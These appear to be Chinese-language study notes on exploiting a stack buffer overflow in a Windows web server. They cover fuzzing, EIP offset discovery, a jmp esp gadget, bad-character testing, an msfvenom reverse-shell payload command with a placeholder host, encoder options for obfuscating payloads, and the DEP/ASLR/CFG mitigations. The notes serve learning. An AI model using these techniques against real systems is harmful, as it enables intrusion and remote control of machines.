1. 没有源代码的情况下找到代码中的漏洞
  2. 找到一种方法修改输入
  3. 操作内存获得控制

# 发现漏洞

  1. 代码审计
  2. 逆向
  3. FUZZ

# fuzz 例子

使用 wireshark 监听流量,看一下登录请求

然后使用 python 编写一个脚本,发送登录请求包,并不断增长用户名的名称

attach 一个 debugger 在 web 服务器上,之前的 immunity debugger 无法 attach 到演示的 web 程序上,于是使用了 Microsoft tcpview 查看了一下进程,确定启动了之后,使用管理员权限运行 debugger

当输入的用户名达到 800 字节时,debugger 捕获到了异常, EIP 地址被篡改了

web 程序会崩溃,重新启动

# 编写 exp

  1. 编写一个框架,能够触发这个溢出漏洞
  2. 控制 EIP,通过提交不同字符串的数据,来定位覆盖了 EIP 部分数据的具体位置,可以使用 msf-pattern_create -l XXX 来制定长度进行快速构造。在通过 msf-pattern_offset -l XXX -q XXXXXXXX 来快速寻找位置,会直接提示 offset。在目标地址前填充登长的垃圾字符,填充至 offset 就可以。
  3. 定位 shellcode 地址,需要一个比较大的空间存储 shellcode,可以越过 EIP 地址,继续向下进行填充 shellcode。当接触到 shellcode 区域的时候,ESP 会弹出 shellcode 的地址,需要将这个地址覆盖到 EIP 中,这个时候就需要 jump 操作了,可以通过 msf-nasm_shell ,键入 jmp esp 获取操作码。然后通过 debugger 中的 mona 搜索这个操作码,在系统的模块中找到这个操作码的内存地址。这样我们把 EIP 填充这个地址,会去程序调用的模块的内存中执行这个 jmp 代码,跳转到 shellcode 区域。
  4. 测试坏字符,不同的环境下,不同的字节可能导致程序进行截断,因此要特殊处理。处理的方式可能就是要从 00FF 全都试一下,看看会不会引发异常。把 00 到 FF 所有的字符填充到 shellcode 区域,一点点定位引起异常的位置。通过显示在缓冲区的数据,可以查看数据是否进入了缓冲区,如果不全,说明碰到了阶段的坏字符,就要记录下。

填充 EIP 地址的时候注意系统的大小端模式,可能需要反序一下

最后使用 msfvenom 生成 shellcode: msfvenom -p windwos/shell_reverse_tcp LHOST=X.X.X.X LPORT=XX -f c ,生成的 shellcode 是 C 语言版本的

此外可以通过 -e 参数指定编码器,在通过 -b 参数去除坏字符

参数描述
-e x86/shikata_ga_nai使用 Shikata Ga Nai 编码来混淆 payload
-e x86/alpha_mixed使用 alpha_mixed 编码来生成混合字母数字的 payload
-e x86/unicode_mixed使用 unicode_mixed 编码生成混合 Unicode 字符的 payload
-e x86/call4_dword_xor使用 call4_dword_xor 编码来进行 XOR 加密
-e x86/countdown使用 countdown 编码来减少 payload 的大小
-e x86/avoid_utf8_tolower使用 avoid_utf8_tolower 编码来避免小写化 UTF-8 字符
-e x86/fnstenv_mov使用 fnstenv_mov 编码来混淆 payload

构造 shellcode 之后,有个新的问题,这个 shellcode 是经过编码的,在进行解码的时候,会有一个 getpc 例程,这个编码器的 getpc 例程会将寄存器的一些数据存入栈顶及其附近,而这个时候 ESP 和 EIP 的位置重叠,写入的数据很可能会覆盖掉 shellcode,从而导致程序崩溃,因此要在 EIP 和 shellcode 之间添加一些 nop 执行,作为一个 landing field。这样进行 getPC 例程写入数据的时候不会覆盖到 shellcode 区域。

当拿到 shell,进行退出的时候,可能会导致程序崩溃。这个问题可以通过添加 EXITFUNC=THREAD

# 微软对缓冲区的保护

微软对 EIP 的保护机制有三个 DEP/ASLR/CFG

DEP(Data Execution Prevention):是一组硬件和软件技术,它们对内存执行额外的检查以帮助防止恶意代码在系统上运行。 DEP 的主要好处是通过引发异常来防止从数据页执行代码。

ASLR (Address Space Layout Randomization): 每次运行时,ASLR 都会随机化已加载的应用程序和 DLL 的基地址。系统启动。在较旧的 Windows 操作系统(例如 Windows XP)上,所有 DLL 每次都被加载到相同的内存地址,从而导致漏洞利用简单得多。与 DEP 结合使用时,ASLR 可以非常有效地缓解 EXP。

CFG (Control Flow Guard):Microsoft 的控制流完整性实现,对间接数据执行验证

代码分支,防止覆盖函数指针。

但是编译的过程中可能会被关闭

# 小结

真吉尔复杂,需要对 immunity Debugger 操作熟练,还要对计算机原理和操作系统有深入理解、还要掌握点汇编……

6